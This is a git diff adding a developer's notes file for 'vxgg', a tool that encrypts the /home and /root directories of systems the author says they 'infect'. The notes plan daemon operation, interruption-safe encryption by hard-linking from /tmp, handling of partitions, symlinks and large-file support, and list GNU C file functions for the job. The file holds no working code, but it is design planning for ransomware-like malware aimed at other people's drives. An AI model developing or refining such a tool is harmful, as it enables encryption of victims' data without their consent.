diff options
Diffstat (limited to 'notes.txt')
| -rw-r--r-- | notes.txt | 46 |
1 files changed, 46 insertions, 0 deletions
diff --git a/notes.txt b/notes.txt new file mode 100644 index 0000000..fb6f283 --- /dev/null +++ b/notes.txt | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | This is a file of ramblings and notes for what I'm doing | ||
| 2 | |||
| 3 | vxgg originally only encrypted the /home directory and its subdirectories. As of now, I believe it should | ||
| 4 | also encrypt the /root dir as well. Running as a daemon and setting things up in the background may be | ||
| 5 | a good idea as well | ||
| 6 | |||
| 7 | vxgg was not atomic in its encryption, in that if the encryption was in progress and interrupted for whatever reason, the original | ||
| 8 | file would be "irrecoverably" (as in vxgg had no error checking and couldn't tell the difference between an encrypted and | ||
| 9 | unencrypted file other than through filename. You could manually unfuck the file yourself if you had the key, but it would be a | ||
| 10 | long and tedious process) fucked. I can't possibly make the entire operation of reading and writing to a file atomic, but I can | ||
| 11 | make the action of "encrpytion" atomic; or, at least, I can make the encryption seem atomic through a cheat: hard linking. Turns out | ||
| 12 | that you can make a file in /tmp, fill it with a whole bunch of shit, then hardlink it to somewhere else on the drive, and the | ||
| 13 | file's contents will persist after a reboot. The idea here is to open a file in /tmp, write the encrypted contents to it, and then | ||
| 14 | hardlink the encrypted file to the same location as the original, and then delete the original. This way, if the process is | ||
| 15 | interrupted, there is no chance of file loss. The hardlink isn't atomic in terms of being uninterruptable and instant, but the | ||
| 16 | specific order of "encrypt in tmp, hardlink, delete real file" will, at very least, minimize the chances of irrecoverable data loss. | ||
| 17 | I'm trying to encrypt people's drives for fun, not for malicious purposes. The least I can do is make sure I don't lose their data | ||
| 18 | |||
| 19 | The only issue I see with hardlinking is that it's possible that, for some reason (linux pedants), the /home and /tmp folders are | ||
| 20 | not in the same partition/drive. The simple solution I see for now is creating a hidden, root owned, chmod u=rwx,go= folder in | ||
| 21 | /home to store files as they are being encrypted | ||
| 22 | |||
| 23 | Nevermind, another problem I see is that permisions and filetypes may be different. Not that I ever tried vxgg on a symlink, but I | ||
| 24 | wouldn't be surprised if it worked fine (given that all vxgg does is rewrite the contents of a file), but this solution would break | ||
| 25 | those links. If this is a problem, it'll be interesting to see how I should make exact copies of files before encrypting them | ||
| 26 | |||
| 27 | I really need to figure out how to determine if a filesystem is a Large File System (LFS) so I can know whether to use the standard | ||
| 28 | or 64 bit versions of functions | ||
| 29 | |||
| 30 | Ok so supposedly stat and its variants will work with 64 bit systems using LFS fine because of some macro "_FILE_OFFSET_BITS", but | ||
| 31 | I'm not certain if I need to figure this out or what. Also, it's a compile-time thing, and preferably I don't need to compile this | ||
| 32 | on each system I infect, so I still need something else | ||
| 33 | |||
| 34 | mkstemp might be quite a useful function for doing the encrypting thing, but having a template name might be problematic. I may just | ||
| 35 | have to rename everything before linking. Maybe linkat() would work | ||
| 36 | |||
| 37 | ============== LIST OF POTENTIALLY USEFUL GNU C FUNCTIONS ============== | ||
| 38 | scandir() - Gets a list of files in a directory: https://www.gnu.org/software/libc/manual/html_node/Scanning-Directory-Content.html | ||
| 39 | link() - Hardlinks one file to another location: https://www.gnu.org/software/libc/manual/html_node/Hard-Links.html | ||
| 40 | canonicalize_file_name() - Get the canonical filename of some path (removes symlinks, /'s, .'s, and ..'s): https://www.gnu.org/software/libc/manual/html_node/Symbolic-Links.html | ||
| 41 | realpath() - canonicalize_file_name(), but you can put the result directly into a user-allocated string: ^ | ||
| 42 | remove() - Deletes a file or directory according to unlink() and rmdir() respectively: https://www.gnu.org/software/libc/manual/html_node/Deleting-Files.html | ||
| 43 | rename() - Renames a file or directory, atomically: https://www.gnu.org/software/libc/manual/html_node/Renaming-Files.html | ||
| 44 | All of the file attribute related functions: https://www.gnu.org/software/libc/manual/html_node/File-Attributes.html | ||
| 45 | tmpfile() - Creates a temp binary file as if you used fopen: https://www.gnu.org/software/libc/manual/html_node/Temporary-Files.html | ||
| 46 | mkstemp() - Creates a temp file using a name template and opens it for you: ^ | ||